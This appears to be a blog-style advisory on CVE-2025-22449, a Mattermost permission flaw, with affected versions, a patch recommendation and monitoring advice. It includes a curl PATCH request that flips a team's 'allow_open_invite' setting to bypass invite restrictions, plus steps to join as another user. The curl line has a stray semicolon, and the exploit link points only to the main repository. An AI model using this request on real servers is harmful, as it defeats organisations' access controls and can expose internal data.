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CVE-2025-22449 targets a serious permission flaw in Mattermost, an open-source collaboration tool. The bug allows users with "team admin" roles — even if they shouldn't be able to invite more users — to abuse a loophole and invite anyone they want by changing the team’s setting. This post explains, in simple terms, what’s going on, how it can be abused, and how you can check your own server. Real code, demonstration steps, and original references are included.

What Is Mattermost and Who’s Vulnerable?

Mattermost is used by businesses to chat, share files, and collaborate. Teams can be private (invitation only) or public (anyone can join). Normally, team admins’ ability to add/invite users can be restricted by the system admin.

Vulnerable:
All Mattermost versions 9.11.x up to and including 9.11.5

Intended: If you’re a team admin with NO invite permissions, you can’t add people.

- Actual: You *can* set your team as public using the "allow_open_invite" field, then anyone can join, bypassing the restrictions.

In other words: You can’t invite users directly, so you just make the team public and tell them to join.

Technical Details and Code Snippet

API Reference: Mattermost Team Update API

PATCH Request

You’ll use an API endpoint that updates your team’s properties.

Suppose your team ID is abc123. You want to set your team as public

curl -X PATCH "https://yourmattermost.com/api/v4/teams/abc123"; \
  -H "Authorization: Bearer YOUR_USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{ "allow_open_invite": true }'

> Replace YOUR_USER_TOKEN with your actual token.

Result:
Your team becomes publicly joinable. Anyone with a Mattermost account can now join from the team directory—even if they weren’t invited.

Log in as another user.

- Click “Browse Teams” or go to /select_team.

Why Is This Dangerous?

- Defeats Permissions: “No invite” permission meant to prevent onboarding strangers. This bypasses it.
- Potential Data Leak: Unauthorized users could obtain sensitive info from internal team discussions or files.

Mitigations and Fixes

Official Fix:
According to Mattermost Security Updates, patch to version 9.11.6 or later.

Workarounds if you can’t patch:

Monitor and alert on team permission changes or “allow_open_invite” flips.

- Review audit logs for suspicious public/private transitions.

Mattermost Security Update Page:

https://mattermost.com/security-updates/

API Docs - Update Team:

https://api.mattermost.com/#tag/teams/operation/UpdateTeam

Exploit Example on GitHub:

https://github.com/mattermost/mattermost-server *(for code and update history)*

Official CVE Page:

NVD entry for CVE-2025-22449 *(pending)*

Conclusion

CVE-2025-22449 is alarmingly simple but effective—letting users bypass invite restrictions with a single API call. If you’re running a vulnerable Mattermost, patch *immediately* to protect your teams. Monitor your team settings and consider regular permission reviews!

*Stay safe – and always test team permission changes in a safe environment.*

Timeline

Published on: 01/09/2025 07:15:28 UTC